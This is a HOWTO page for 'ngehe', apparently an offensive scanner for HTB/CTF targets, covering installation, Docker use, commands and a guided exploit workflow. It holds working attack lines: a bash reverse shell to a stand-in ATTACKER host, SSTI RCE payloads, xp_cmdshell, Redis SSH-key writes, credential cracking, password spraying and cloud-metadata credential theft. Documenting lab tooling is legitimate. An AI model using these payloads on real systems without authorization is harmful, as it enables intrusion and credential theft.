HOWTO · v0.4

Practical walkthrough

Install ngehe, scan an HTB box from cold IP, and chain the findings to root.txt. Pairs with the overview page, which covers what ngehe is and which detectors ship.

Authorized use only. ngehe sends real attack payloads (SQLi markers, command-injection probes, traversal sequences, JWT manipulation, password sprays). Use only against systems you own, have written permission to test, or that are explicitly designed as CTF / HTB targets.

Pick a command

Match what you have to the right entry point. Every command also accepts --markdown report.md or --out findings.jsonl if you want a file instead of terminal output, and --nuclei to bolt on CVE/exposure template scanning.

What you haveRun thisWhat you get
A domain name
example.com
ngehe surface -d example.com Subdomains + live-host map + tech fingerprint. Add --nuclei for CVE templates against live hosts.
An IP address
10.10.11.5
ngehe box -t 10.10.11.5 Full-spectrum: nmap + per-service modules (SSH/SMB/LDAP/Kerberos/DBs) + web recon on every HTTP port. The "I just got an HTB IP" entry point.
A URL
http://10.10.11.5
ngehe recon -t http://10.10.11.5 Tech fingerprint + sensitive-file probes + directory bruteforce. Fast, passive-ish overview of one web app.
A URL + want OWASP detectors ngehe scan -t http://... SQLi / RCE / SSTI / XSS / LFI / SSRF / JWT / BOLA tests, with payloads. Use --crawl to widen the path list first.
A HAR capture from Burp / DevTools ngehe scan --har capture.har --config ngehe.yaml Best-signal OWASP scan: replays real requests as configured sessions, finds BOLA / mass-assignment / auth bugs you can't find without real traffic.
An OpenAPI spec ngehe scan --openapi openapi.yaml --base https://api.example.com Same detectors as HAR mode, synthesized from the spec.
A JSONL of findings (from a prior scan) ngehe chain findings.jsonl Guided exploit walkthrough — show each finding's playbook, prompt for command, shell it out. The bridge from "ngehe found a thing" to "I have a shell."

Three useful add-ons to any command:

  • --nuclei — also run the nuclei template scanner against discovered live targets. Adds 5–20 minutes, finds CVEs ngehe's native detectors don't cover.
  • --markdown report.md — write a human-readable report with attack-chain header. Default is print to terminal.
  • --out findings.jsonl — machine-readable JSONL output, one finding per line, ideal for jq filtering or CI.

Run as container

If you don't want to install on your host — or you're on Apple Silicon, locked-down corporate macOS, or a server you can't pollute — use the bundled Docker image. Same image works on Linux, macOS (amd64 + arm64), Windows/WSL.

The image is ~2GB and is built to be a self-contained pentest box — ngehe is the primary entry point, but every tool you'd reach for in a typical web or HTB engagement is on PATH:

  • ngehe + integrations: nuclei (templates pre-baked) + amass + subfinder + httpx
  • Web pentest: nmap, sqlmap, ffuf, gobuster, dalfox
  • AD / box: hashcat, python3-impacket (Get*NPUsers / GetUserSPNs / secretsdump / ticketer / psexec / wmiexec / …), netexec (modern crackmapexec), evil-winrm, kerbrute, enum4linux-ng, smbclient, ldap-utils, bloodhound-python (collector)
  • Networking / pivoting: ncat, socat, openssh-client, proxychains4
  • Reference: PayloadsAllTheThings at /opt/PayloadsAllTheThings (symlinked to /opt/payloads)
  • Utilities: jq, dnsutils, curl

Skip from the image (use Mac / your host instead): db clients (postgres/mysql/redis CLI tools — install on the host if you need them), git, wget (the host has these), the BloodHound GUI (run it on the host and ingest the JSON).

Prerequisites

You need a working container runtime. Any of these is fine:

  • macOSDocker Desktop or OrbStack (lighter, faster on Apple Silicon)
  • Linuxdocker-ce from your distro (sudo apt install docker.io docker-compose-plugin) or Podman
  • Windows — Docker Desktop with WSL2 backend

Verify it works:

$ docker version            # or: orb version / podman version
$ docker run --rm hello-world
Currently build-only. We don't publish a public ngehe image to a registry yet, so installation follows the same model as amass: clone the repo, then the image builds on first invocation. If/when we publish to GHCR, the wrapper will pull instead — same UX either way.

Clone the repo

You need the Dockerfile + wrapper script + compose.yaml from the repo:

$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe

First run — the wrapper auto-builds

On first invocation the wrapper builds the image from the local Dockerfile (one-time, ~15–25 minutes on a fast connection). Build steps: pull Debian base, compile ngehe, fetch release binaries (nuclei/amass/subfinder/httpx/kerbrute/dalfox), install Ruby gems (evil-winrm), build pipx envs from GitHub (NetExec compiles a Rust RDP crypto module — this is the slowest step), pre-bake the ~1GB nuclei template repository. Subsequent commands start in ~1 second against the cached image:

$ ./scripts/ngehe doctor
ngehe: building ngehe:local from /Users/you/ngehe (one-time, 5-10 min)…
[+] Building 487.3s (24/24) FINISHED
...
ngehe dependency check (linux)

  ✓ nmap                   /usr/bin/nmap  [required]
  ✓ nuclei                 /usr/local/bin/nuclei  [optional]
  ✓ nuclei-templates       installed (data check passed)
  ✓ amass                  /usr/local/bin/amass  [optional]
  ...

That's the entire setup. From here on, every command works.

Install the wrapper to PATH (recommended)

Optional but a big quality-of-life win — drop the wrapper in /usr/local/bin so you can call ngehe from any directory, not just the repo root:

$ sudo install -m 0755 scripts/ngehe /usr/local/bin/ngehe
$ cd ~/anywhere
$ ngehe doctor                                # works from anywhere

The wrapper resolves the Dockerfile path via its own script location, so rebuilds (ngehe --rebuild) still find the repo even when invoked as /usr/local/bin/ngehe.

How the wrapper works

The wrapper is ~50 lines of bash that hides a one-liner docker run incantation. Inside, every invocation does:

$ docker run --rm -it \
    --network host \                                  # so nmap can talk to RFC1918 / LAN
    -v "$PWD:/work" \                                # your cwd appears as /work in the container
    -v ngehe-nuclei-templates:/root/nuclei-templates \ # nuclei templates persist across runs
    -v ngehe-config:/root/.config \                   # subfinder/amass/httpx API keys persist
    ngehe:local "$@"

That's the entire magic. Everything else (image build, pull-fallback, --shell alias, --rebuild flag) is convenience on top.

Run a scan

$ ngehe doctor                                # confirm tools available
$ ngehe surface -d example.com --nuclei
$ ngehe scan --har capture.har --config ngehe.yaml
$ ngehe box --target 10.10.11.5 --markdown box.md

Working with files (mounts)

Because your cwd is mounted at /work, file paths in your commands refer to your real filesystem — no copying needed. Three common patterns:

# 1. Scan a HAR you captured in Burp / DevTools — file lives in your cwd.
$ ls capture.har ngehe.yaml
$ ngehe scan --har capture.har --config ngehe.yaml --out findings.jsonl
$ ls findings.jsonl                          # output written to your real cwd

# 2. Walk findings interactively from outside the container.
$ ngehe view findings.jsonl --severity critical,high
$ ngehe chain findings.jsonl                  # guided exploit replay

# 3. Run inside the container, mount a different output dir.
$ mkdir -p ~/engagements/acme && cd ~/engagements/acme
$ ngehe box --target 10.10.11.5 --markdown box.md   # lands in ~/engagements/acme/

Interactive shell

For ad-hoc work — running tools beyond what ngehe wraps — drop into a bash shell with every bundled tool on PATH:

$ ngehe --shell
root@container:/work# which kerbrute evil-winrm netexec hashcat sqlmap ffuf
/usr/local/bin/kerbrute
/usr/local/bin/evil-winrm
/usr/local/bin/netexec
/usr/bin/hashcat
/usr/bin/sqlmap
/usr/bin/ffuf

root@container:/work# hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
root@container:/work# evil-winrm -i 10.10.11.5 -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0
root@container:/work# ls /opt/PayloadsAllTheThings/

The shell starts in /work (= your cwd on the host), so any file you create / download / dump is on your real disk when you exit.

Rebuild after pulling repo updates

$ git pull
$ ngehe --rebuild doctor                      # force-rebuild before running
# or:
$ docker compose build                        # equivalent

Alternatives to the wrapper

docker compose — builds on first run, then runs:

$ docker compose run --rm ngehe doctor
$ docker compose run --rm ngehe surface -d example.com --nuclei
$ docker compose run --rm ngehe --shell

Raw docker run — if you don't want the wrapper or compose at all:

$ docker run --rm -it \
    --network host \
    -v "$PWD:/work" \
    -v ngehe-nuclei-templates:/root/nuclei-templates \
    -v ngehe-config:/root/.config \
    ngehe:local surface -d example.com --nuclei

Smaller / faster dev builds

# Skip the ~1GB nuclei template pre-bake (templates download on first --nuclei run):
$ docker build --build-arg NO_TEMPLATES=1 -t ngehe:slim .
$ NGEHE_IMAGE=ngehe:slim ngehe doctor

# Multi-arch (linux/amd64 + linux/arm64) — useful if you publish to your own registry:
$ docker buildx build --platform linux/amd64,linux/arm64 -t myorg/ngehe:latest --push .
$ NGEHE_IMAGE=myorg/ngehe:latest ngehe doctor    # pulls from your registry instead of building

Container troubleshooting

SymptomLikely cause / fix
docker ps shows no ngehe container after a scan Expected. ngehe runs with --rm — container is one-shot, exits when your command finishes, auto-deletes. Not a crash.
First build takes >30 min or stalls The slow step is NetExec's Rust compilation (aardwolf RDP module). On low-RAM machines, give Docker Desktop / OrbStack at least 4GB. Watch progress: docker compose build --progress plain.
denied: ghcr.io/... or pull errors We don't publish to a public registry yet. The wrapper auto-falls-back to local build. Make sure you're in the cloned repo (so the Dockerfile is reachable) or set NGEHE_IMAGE=ngehe:local explicitly.
Build out-of-disk-space mid-way Full build needs ~3GB working space. Clean up: docker system prune -af (drops dangling images / build cache) — then retry.
Output files appear in container but not host You wrote outside /work. Save to /work/... (= your cwd) or pass -v /custom/dir:/work on raw docker run.
Permission errors on output files (root-owned) Container runs as root, so output files are root:root on the host. Fix: sudo chown -R $USER:$USER findings.jsonl ... after the run, or add --user "$(id -u):$(id -g)" to the wrapper.
Tool not found / outdated inside container Rebuild with ngehe --rebuild. Tool versions are baked at build time; rebuilds pick up upstream's latest release.
Need to keep templates / api keys between rebuilds Already automatic — the wrapper mounts named volumes ngehe-nuclei-templates + ngehe-config that survive image rebuilds. Inspect with docker volume ls | grep ngehe.
macOS network caveat. Docker Desktop's --network host goes through a VM bridge. RFC1918 / LAN targets reachable from your Mac are reachable from the container, but raw-socket nmap modes (-sS SYN scan) need --cap-add=NET_RAW --cap-add=NET_ADMIN on the docker run. ngehe uses TCP-connect (-sT) by default, so the basic flow works without extra caps. OrbStack handles this slightly better than Docker Desktop on Apple Silicon — recommended if you're scanning LANs from a Mac.
When to use container vs host. Use the container for Mac/Windows, anywhere you can't / won't install nmap + Python tools globally, or anytime you want isolation. Use a host install when you need to integrate ngehe with other host tools (e.g. piping output into a long-running Burp Suite session) or when you want the absolute lowest overhead during long engagements.

Install on host

  • Go 1.22+ to build from source.
  • nmap on PATH (ngehe box shells out to it).
  • A target you are authorized to test (your own app, HTB / TryHackMe / PortSwigger lab, or a CTF box).

Easiest install — the bundled install.sh handles nmap and the build:

$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe
$ sudo ./install.sh        # /usr/local/bin
# or
$ PREFIX=$HOME/.local ./install.sh   # ~/.local/bin

$ ngehe doctor            # verify required deps are present

Recommended companion tools (ngehe hands off to these — install separately):

  • hashcat — crack the JWT / krb5asrep / krb5tgs hashes ngehe produces.
  • sqlmap — once ngehe flags sqli-error-based or sqli-time-based, sqlmap takes it from there.
  • BloodHound — ingest ngehe's users.json / computers.json / groups.json for AD path analysis.
  • impacket — heavier AS-REP / Kerberoast / NTLM relay than ngehe's MVP versions.

The commands

Reference for each top-level command, key flags, and when to reach for it. For deep usage patterns see the HTB workflow further down.

ngehe surface — map a domain's attack surface

Subdomain enumeration + live-host probing + (optional) CVE templates. Use when you have a root domain and want to find what's exposed.

$ ngehe surface -d example.com                       # subdomains + live hosts + tech
$ ngehe surface -d example.com --nuclei               # also nuclei templates (5-20 min)
$ ngehe surface -d example.com --no-amass --nuclei    # skip slower amass
$ ngehe surface -d example.com --markdown surf.md     # write report file

Internally: amass + subfinder → dedupe → httpx live-probe → optional nuclei. Each external scanner is opt-out (--no-amass, --no-subfinder, --no-httpx). Missing binaries are skipped with a hint, not a fatal error.

ngehe box — full-spectrum host scan

nmap + per-service modules + web recon. Use when you have an IP and zero context — the "I just got an HTB IP" entry point.

$ ngehe box -t 10.10.11.5                                  # default: top-100 ports + quick recon
$ ngehe box -t 10.10.11.5 --domain target.htb              # enables DNS subdomain bruteforce
$ ngehe box -t 10.10.11.5 --profile service                # nmap -sV -sC -p- (thorough, slow)
$ ngehe box -t 10.10.11.5 --no-web                         # skip web recon (faster)
$ ngehe box -t 10.10.11.5 --nuclei --markdown box.md       # with nuclei + report

For each service nmap detects, ngehe dispatches the right module: SSH (banner + CVE flags), FTP (anon), SMB (null/anon/guest), LDAP (anon-bind + AS-REP roastable), SNMP (community-string brute), DNS (AXFR + subdomain), DBs (default creds), HTTP/HTTPS (full recon flow).

ngehe recon — single-URL discovery

Tech fingerprint + sensitive-file probes + directory bruteforce against one URL. Lightweight — no active payloads, just probing.

$ ngehe recon -t http://10.10.11.5                    # default: top-500 wordlist depth
$ ngehe recon -t https://app.example.com --top 0      # full wordlist (~4750 paths)
$ ngehe recon -t http://target --skip-dirbust         # skip the slow dir walk

Outputs: tech-stack identification (server / framework / CMS), discovered sensitive files (.git, .env, AWS creds, phpinfo), and a list of paths that return non-404 (with 401/403 paths upgraded to MEDIUM since they're real endpoints requiring auth).

ngehe scan — active OWASP detectors

SQLi / CMDi / SSTI / LFI / SSRF / XSS / JWT / BOLA / mass-assignment / default-creds — the payload-sending detectors. Three input modes:

# Mode 1 — HAR capture (best signal — real auth, real params).
$ ngehe scan --har capture.har --config ngehe.yaml

# Mode 2 — OpenAPI spec.
$ ngehe scan --openapi openapi.yaml --base https://api.example.com --config ngehe.yaml

# Mode 3 — URL only (synthesizes requests against common param names).
$ ngehe scan -t http://10.10.11.5 --crawl --config ngehe.yaml

# Add nuclei CVE templates as a final pass.
$ ngehe scan --har capture.har --config ngehe.yaml --nuclei --markdown scan.md

HAR mode is the most powerful — captures real authenticated traffic from Burp / DevTools / mitmproxy, then replays every captured request through each detector. URL-only mode is good for HTB / lab boxes where you don't need session auth.

Guided exploit: ngehe chain

After a scan you have a JSONL of findings with per-rule playbook hints in the next field. ngehe chain walks them interactively — for each critical/high finding it displays the playbook and prompts you to type / confirm the command to run. The command is shelled out via bash with stdio attached, so reverse-shell listeners, evil-winrm sessions, interactive sqlmap dumps etc. all behave normally.

This is the bridge between "ngehe found a thing" and "I have a shell." Designed to be run inside the container where every handoff tool is on PATH; on the host you'll need the tools installed yourself.

$ ngehe box -t 10.10.11.5 --markdown box.md --out box.jsonl
$ ngehe chain box.jsonl
$ ngehe chain box.jsonl --all     # include medium / low / info findings

What each prompt looks like depends on whether the playbook is a single clean command or a multi-line tutorial:

clean single-command playbook → y/n confirmation
=== Finding 2/5 ===
  rule:     kerberos-asrep-roast
  severity: HIGH
  target:   TCP krb5://10.10.11.99:88
  evidence: svc-helpdesk hash extracted

Playbook (ngehe per-rule guidance):
  hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Run [hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt] ? (y/n/e=edit/s=skip/q=quit) y
→ hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting...
svc-helpdesk:Welcome1!
multi-line tutorial playbook → free-text prompt
=== Finding 1/5 ===
  rule:     ssti
  severity: CRITICAL
  target:   GET http://box.htb/api/render?msg={{1337*1331}}

Playbook (ngehe per-rule guidance):
  RCE via template. Engine identified in evidence — chain to OS commands:
    Jinja2:    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    Twig:      {{['id']|filter('system')}}
  Get a shell then reverse-shell via netcat / Python.

Type a command to run (Enter to skip / q to quit / e to edit a multi-line block):
> curl 'http://box.htb/api/render' --data-urlencode "msg={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

Keys: y run / n skip / e edit-then-run / s skip / q quit. Whatever you type at the empty prompt is just shell, so pipes / redirects / && all work. To take a break and resume later, save the JSONL and rerun ngehe chain against it.

Why no wrap-every-tool design? Every wrapper means re-exposing flags, losing version updates, and offering no value over running the tool directly. ngehe chain stays in the analyzer + suggester role; it brings the playbook to your fingertips but doesn't replace the tool's own CLI. You stay fluent in evil-winrm, impacket, hashcat as the projects intend.

External scanners

ngehe shells out to four open-source scanners when they're on PATH. They're independent projects we integrate with — install however you like (apt, brew, our installer's --with-extras flag, or pre-baked in the container). Each integration writes into the same JSONL with source: set, so you can filter native vs upstream findings via ngehe view:

$ ngehe view findings.jsonl --source nuclei              # just nuclei findings
$ ngehe view findings.jsonl --source native              # just ngehe's own detectors
$ ngehe view findings.jsonl --source upstream            # any external (nuclei/amass/subfinder/httpx)
ToolModule / flagPurpose
nuclei
projectdiscovery
scan --nuclei
box --nuclei
surface --nuclei
Template-based scanner — thousands of community CVE / default-config / exposure templates. Complements ngehe's hand-written detectors with breadth.
amass
OWASP
ngehe surfaceComprehensive passive subdomain enumeration. Slower than subfinder, reaches more sources.
subfinder
projectdiscovery
ngehe surfaceFast passive subdomain enumeration across many sources (CRT, VirusTotal, Shodan, etc.).
httpx
projectdiscovery
ngehe surfaceProbe hostnames for live HTTP, capture status / title / webserver / tech fingerprint.

Install the extras

$ sudo ./install.sh --with-extras   # nuclei + amass + subfinder + httpx

Resolution order: apt on Debian-family distros (if the package exists — Kali bundles all four), brew on macOS, otherwise pre-built release binaries from each tool's upstream GitHub releases (verified via /releases/latest redirect, downloaded with curl, extracted with unzip / tar). We avoid go install for these — nuclei in particular has fragile transitive deps (interactsh, carvel.dev/ytt) that fail intermittently with checksum errors. Each tool is opt-in; if a binary is missing, ngehe prints a hint and skips it without failing the run.

Verify:

$ ngehe doctor                     # lists every dep with ✓/✗

Uninstall

$ sudo ./install.sh --uninstall                   # ngehe binary only
$ sudo ./install.sh --uninstall --with-extras     # also the four extras
$ sudo ./install.sh --uninstall --purge           # nuke EVERYTHING ngehe touched

The three tiers:

  • --uninstall: removes the ngehe binary from $PREFIX/bin. Extras stay.
  • --uninstall --with-extras: also drops nuclei/amass/subfinder/httpx via apt/brew, plus any ~/go/bin + ~/.local/bin leftovers. Template/config dirs are listed but kept.
  • --uninstall --purge: full wipe. Adds: removes nmap, deletes ~/nuclei-templates (~1GB), wipes ~/.config/{nuclei,subfinder,amass,httpx}, runs go clean -modcache to clear any leftover modules (including the vulncheck-oss/go-exploit webshell fixtures that some EDRs flag). The Go toolchain is left alone (ngehe never installed it); the purge step prints the apt/brew/tarball-removal commands if you want to drop Go too.

ngehe surface <domain> — attack-surface map

Single command that chains the four tools:

$ ngehe surface --domain target.htb --markdown surface.md
$ ngehe surface -d target.htb --nuclei            # add CVE template scan

Pipeline inside surface:

  1. amass enum -passive -d <domain> → JSON subdomain list
  2. subfinder -d <domain> -silent → fast passive enum
  3. Dedupe + sort hostnames
  4. httpx -json -tech-detect against dedup'd list → live URLs + tech
  5. (optional) nuclei -jsonl against live URLs

Live URLs print to stdout so you can pipe them into the next stage:

$ ngehe surface -d target.htb --no-amass | while read url; do
    ngehe scan --target "$url" --config ngehe.yaml
  done

Opt-out flags if you only want a subset: --no-amass, --no-subfinder, --no-httpx.

Adding nuclei to scan / box

The --nuclei flag attaches a nuclei pass after ngehe's native detectors finish. ngehe collapses captured requests to one URL per origin so nuclei isn't asked to scan thousands of duplicates:

$ ngehe scan --har capture.har --config ngehe.yaml --nuclei --markdown findings.md
$ ngehe box --target 10.10.11.5 --nuclei --markdown box.md

Nuclei findings appear in the same JSONL with rule: nuclei-<template-id> and source: nuclei. Each carries a next field with the reproducing curl command nuclei emits.

When to skip nuclei. If you're under time pressure or scanning a small target, nuclei adds 5–20 minutes. The native ngehe detectors are tuned for HTB-style boxes; nuclei shines on broader engagements where breadth-of-CVE-coverage matters more than depth.

The HTB / box workflow

This is the order ngehe is designed to run in for a fresh target.

0 Full-spectrum box scan

If you have just an IP, start here:

$ ngehe box --target 10.10.11.5 --domain target.htb --markdown box.md

What it does:

  1. Shells out to nmap with the quick profile by default (-sV --top-ports 100 -Pn -T4). Use --profile full for all ports, or --profile service for -sV -sC -p- (slow but thorough).
  2. For each open port nmap identifies a service for, dispatches to a per-service scanner:
    • SSH → banner + version-based CVE hints + auth method enumeration
    • FTP → anonymous login + listing
    • SMB → null / anonymous / guest enumeration + share list
    • LDAP → anonymous bind + Root DSE + user list + AS-REP-roastable accounts
    • SNMP → 32 common community strings
    • DNS → AXFR zone transfer + ~200 subdomain bruteforce (requires --domain)
    • MySQL / Postgres / MSSQL / Redis → default credential check + version capture
    • HTTP / HTTPS / http-alt → runs the full ngehe recon flow
  3. Aggregates all findings into one JSONL + markdown report.

Useful flags

--profile full          # nmap -p- (all 65k ports, takes much longer)
--profile service       # nmap -sV -sC -p- (very thorough)
--top 500               # wordlist depth for web recon / DNS / vhost
--no-web                # skip web recon (faster, non-HTTP services only)
--domain target.htb     # required for DNS subdomain bruteforce

Reading the output

# Critical + high findings only
$ ngehe view box.jsonl --severity critical,high

# What services are open
$ ngehe view box.jsonl --rule port-open --urls

# Any default creds?
$ ngehe view box.jsonl --rule default-creds

1 Recon

You usually start with just an IP and an open port. Get a snapshot of what's running.

$ ngehe recon --target http://10.10.11.5 --markdown recon.md

What it does:

  1. Tech fingerprint. Reads Server, X-Powered-By, cookies, and body markers to identify the stack.
  2. Sensitive files. Probes for .git/HEAD, .env, AWS credentials, phpinfo, server-status, backups, swagger docs. Uses content fingerprinting so a catch-all router can't fake a positive.
  3. Directory bruteforce. Walks the SecLists common.txt wordlist (4750 entries). 401/403 paths are upgraded to MEDIUM — real endpoints that require auth.

2 Browse + capture

Open the box's web app in a browser proxied through Burp / mitmproxy / Chrome DevTools. Click around, log in, do a few real flows. Export to HAR.

  • Chrome DevTools: Network tab → "Preserve log" → right-click → "Save all as HAR with content".
  • mitmproxy: mitmproxy --listen-port 8080 --set hardump=capture.har.

The richer the HAR, the better ngehe's findings — every captured request becomes an injection target.

3 Configure

$ ngehe init --out ngehe.yaml

A complete config for an HTB box:

ngehe.yaml
scope:
  hosts:
    - 10.10.11.5
  include_paths:
    - /
  exclude_paths:
    - /assets/
    - /static/
    - /api/health
  methods: [GET, POST, PUT, PATCH, DELETE]

sessions:
  - name: alice
    login:
      method: POST
      url: http://10.10.11.5/login
      content_type: application/x-www-form-urlencoded
      body: 'username=alice&password=alice123'
      token_jsonpath: token
  - name: bob
    bearer: eyJhbGciOi...

replay:
  concurrency: 4
  include_anon: true
  timeout_ms: 10000

detectors:
  bola: true
  id_mutation: true
  mass_assign: true
  jwt_abuse: true
  sqli: true
  cmd_injection: true
  ssti: true
  lfi: true
  ssrf: true
  xss: true
  default_creds: true
  jwt_probe_url: http://10.10.11.5/api/me
  default_creds_urls:
    - http://10.10.11.5/admin/login|user=username,password=password
  • scope.hosts is the safety boundary. ngehe refuses to send requests to hosts not listed here.
  • Sessions can use bearer: (direct token) or login: (ngehe performs login at scan start, extracts a token via token_jsonpath).
  • jwt_probe_url is a small idempotent authenticated endpoint ngehe fires JWT abuse checks against. Pick one that returns clean 2xx on a valid token and 401 on an invalid one.
  • default_creds_urls pipe-syntax modifier customizes field names + JSON mode:
    • http://host/login — default form fields username/password
    • http://host/login|user=email,password=passwd — custom field names
    • http://host/api/login|user=email,password=passwd,json — JSON body

4 Active scan

$ ngehe scan \
    --har capture.har \
    --config ngehe.yaml \
    --out findings.jsonl \
    --markdown findings.md

Progress reports to stderr per detector:

loaded 47 in-scope requests
loaded 2 sessions
bola: 6 findings
id-mutation: 3 findings
mass-assign: 11 findings
jwt-abuse: 4 findings
sqli: 1 findings
cmdi: 1 findings
ssti: 0 findings
lfi: 1 findings
ssrf: 0 findings
xss: 2 findings
default-creds: 1 findings
total: 30 findings

From finding to box: the attack chain

ngehe identifies vulnerabilities. It does not chain them to root automatically — that's still your job, but every finding ships with an actionable next field telling you the concrete payload or command.

Open findings.md. The top of the report has a "Suggested attack chain" section ordered by exploitability. Typical chains by finding type:

FindingChain to root
cmdi-marker / cmdi-time-basedRCE → reverse shell with nc -lvnp 4444 + ;bash -c "bash -i >&/dev/tcp/ATTACKER/4444 0>&1"
ssti{{config.__class__.__init__.__globals__['os'].popen('id').read()}} → RCE → reverse shell
lfi-path-traversalRead /root/.ssh/id_rsa for SSH foothold; or log poisoning + LFI → RCE
sqli-*sqlmap -u "<URL>" --batch --dump; MSSQL → try xp_cmdshell
sensitive-file (.git/HEAD)git-dumper <url>/.git . && grep -rE "(password|secret|token)" .
sensitive-file (.env)Read DB creds, SECRET_KEY, AWS keys directly
ssrf (cloud metadata)Pivot to AWS IAM creds: /latest/meta-data/iam/security-credentials/<role>aws-cli
default-credentialsLog in → admin pages with command-exec (Tomcat Manager deploy WAR) or file upload (webshell)
jwt-alg-none / jwt-weak-secretForge admin token → access privileged endpoints
mass-assign-reflectedRe-register / re-PUT with "role":"admin" to elevate
ftp-anonymous-allowedwget -r ftp://anonymous@host/ — look for id_rsa, configs, backups
smb-null-session-allowedenum4linux-ng -A host for full enumeration
ldap-asrep-roastablehashcat -m 18200 hash.txt rockyou.txt
kerberos-asrep-roast / kerberos-kerberoasthashcat -m 18200 / -m 13100 against rockyou
bloodhound-collectOpen BloodHound CE → ingest → "Shortest paths to Domain Admins"
db-no-auth-redisWrite SSH key via Redis CONFIG SET → SSH in as root
db-default-creds-mssqlEXEC xp_cmdshell 'whoami' for OS RCE

Re-view just the chain candidates (critical + high):

$ ngehe view findings.jsonl --severity critical,high

Reading findings

JSONL fields:

{
  "rule": "sqli-error-based",
  "severity": "high",
  "method": "GET",
  "url": "http://10.10.11.5/api/search?q=%27",
  "path": "/api/search",
  "param": "query:q",
  "payload": "'",
  "evidence": "SQLite error: unrecognized token",
  "why": "payload triggered a database error string in the response"
}

Filter for what matters — use ngehe view (no need to remember jq syntax):

# Critical + high only
$ ngehe view findings.jsonl --severity critical,high

# Just rule X (substring / regex match — case-insensitive)
$ ngehe view findings.jsonl --rule sqli
$ ngehe view findings.jsonl --rule '^jwt-'

# Findings from one external scanner
$ ngehe view findings.jsonl --source nuclei

# Pipe just URLs into the next tool
$ ngehe view findings.jsonl --rule httpx-live --urls | while read url; do
    ngehe scan -t "$url"
  done

# Save a filtered subset for ngehe chain
$ ngehe view findings.jsonl --severity critical,high --out actionable.jsonl
$ ngehe chain actionable.jsonl

Filters are AND-combined and case-insensitive (the regex flag (?i) is automatic). Patterns are RE2; substring matches work out of the box (--rule sqli matches sqli-error-based, sqli-time-based, etc.).

Non-web scanner notes (ngehe box)

SSH

ngehe box flags known-vulnerable OpenSSH and libssh versions from the banner.

  • ssh-libssh-auth-bypass — libssh ≤ 0.8.3, CVE-2018-10933, complete auth bypass. Critical.
  • ssh-cve-2018-15473 — OpenSSH ≤ 7.7 username enumeration. Use the leaked user list with kerbrute / hydra.
  • ssh-auth-methods — what auth modes the server accepts. publickey only = you need a leaked key.
  • ssh-none-auth-allowed — fire-and-forget critical: anyone can log in.

FTP

ftp-anonymous-allowed plus ftp-anonymous-listing are the gold finds. If you see a writable directory and the FTP root is web-served, try uploading a web shell.

SMB

Tries null / anonymous / guest sessions with go-smb2. A working session lists shares. Does not currently do SMB version detection beyond what nmap provides — for MS17-010 / EternalBlue era boxes, run nmap --script smb-vuln-ms17-010 separately.

LDAP

  • ldap-root-dse — domain controller info: hostname, naming context, functional level. Tells you the realm for Kerberos attacks.
  • ldap-user-enum — full domain user list. Save as users.txt and feed to AS-REP roast / spray / kerberoast.
  • ldap-asrep-roastable — accounts with DONT_REQ_PREAUTH. Immediately AS-REP roastable without credentials.

Kerberos (AS-REP roast + Kerberoast)

Go primitives in internal/scanner/kerberos/. Calling pattern:

// AS-REP roast — no creds required.
hashes := kerberos.ASREPRoast(kdcHost, "CORP.LOCAL", []string{"alice", "bob", "svc.web"})

// Kerberoast — requires a valid (low-priv) domain account.
hashes := kerberos.Kerberoast(kdcHost, "CORP.LOCAL", "alice", "Password123!",
    []string{"HTTP/web.corp.local", "MSSQLSvc/sql.corp.local:1433"})

Hashes emit in hashcat format: $krb5asrep$23$... (mode 18200) and $krb5tgs$23$*...*$...$... (mode 13100). Feed to hashcat -m 18200 hashes.txt rockyou.txt (or -m 13100).

BloodHound collection

findings, _ := bloodhound.Collect(bloodhound.Options{
    Host:   "10.10.11.5",
    User:   "alice",
    Pass:   "Password123!",
    Domain: "corp.local",
    OutDir: "./bh-zip",
})

Output: users.json, computers.json, groups.json in BloodHound schema v5. This is a subset of SharpHound — no ACLs, no sessions, no local-admin enumeration. For deeper collection use SharpHound (Windows) or bloodhound-python.

Databases

db-default-creds-* and db-no-auth-redis are the wins. After a hit:

  • MySQL / Postgres: read information_schema / pg_user, look for app secrets.
  • MSSQL: try xp_cmdshell for RCE — EXEC xp_cmdshell 'whoami'.
  • Redis: CONFIG SET dir, CONFIG SET dbfilename, then SAVE — classic SSH key write to authorized_keys for RCE.

NTLM password spray

ntlm.Spray("http://target/api/protected", "CORP",
    []string{"alice","bob"}, []string{"Spring2026!","Summer2026!"})
Lockout caution: many AD policies lock at 5 failures. Test carefully.

Per-detector notes

BOLA / id-mutation / broken-auth

You need at least two sessions for BOLA. With one session ngehe still runs id-mutation. Body-similarity score interpretation:

  • ≥ 0.6: same resource — strong BOLA evidence.
  • 0.2 – 0.6: partial overlap — could be a shared listing endpoint (review).
  • < 0.2: only structural similarity — likely a per-user endpoint, demoted to LOW.

Mass-assignment

mass-assign-reflected (HIGH) is what you want — server echoed an injected isAdmin/role/owner. mass-assign-accepted (LOW) just means the request wasn't rejected. Confirm by fetching the resource and inspecting its full state after a "successful" inject.

JWT abuse

Each rule names the specific trust failure (alg=none, weak secret, no exp/iss/aud check). If jwt_probe_url is wrong (e.g., doesn't require auth) every tampered token will "pass" — verify the URL returns 401 for an invalid token first.

SQLi / CMDi / SSTI / LFI / SSRF / XSS

These inject payloads into every query parameter and JSON string field of every captured request.

  • SQLi time-based can be slow — each candidate parameter waits ~5s.
  • CMDi-marker is baseline-aware: first sends a non-shell-meta marker per param and skips that param if it reflects, so echo endpoints don't false-positive.
  • SSTI marker is 1337*1331 → 1779547; if that exact digit string is anywhere in normal responses, the param is skipped.
  • LFI covers Linux + macOS /etc/passwd plus Windows win.ini and PHP php://filter wrappers.
  • SSRF probes cloud metadata (AWS, GCP, Azure) plus file://, loopback HTTP, gopher, dict.
  • XSS is reflected-only; DOM XSS isn't covered.

Default credentials

Spec each login URL in detectors.default_creds_urls. ngehe tries 33 curated web-admin credentials by default. Pipe-syntax for less-common forms:

default_creds_urls:
  - http://target/login|user=email,password=passwd,json

CI integration

Fail the build on any HIGH or CRITICAL finding — no jq needed, ngehe view --urls + wc -l does the count:

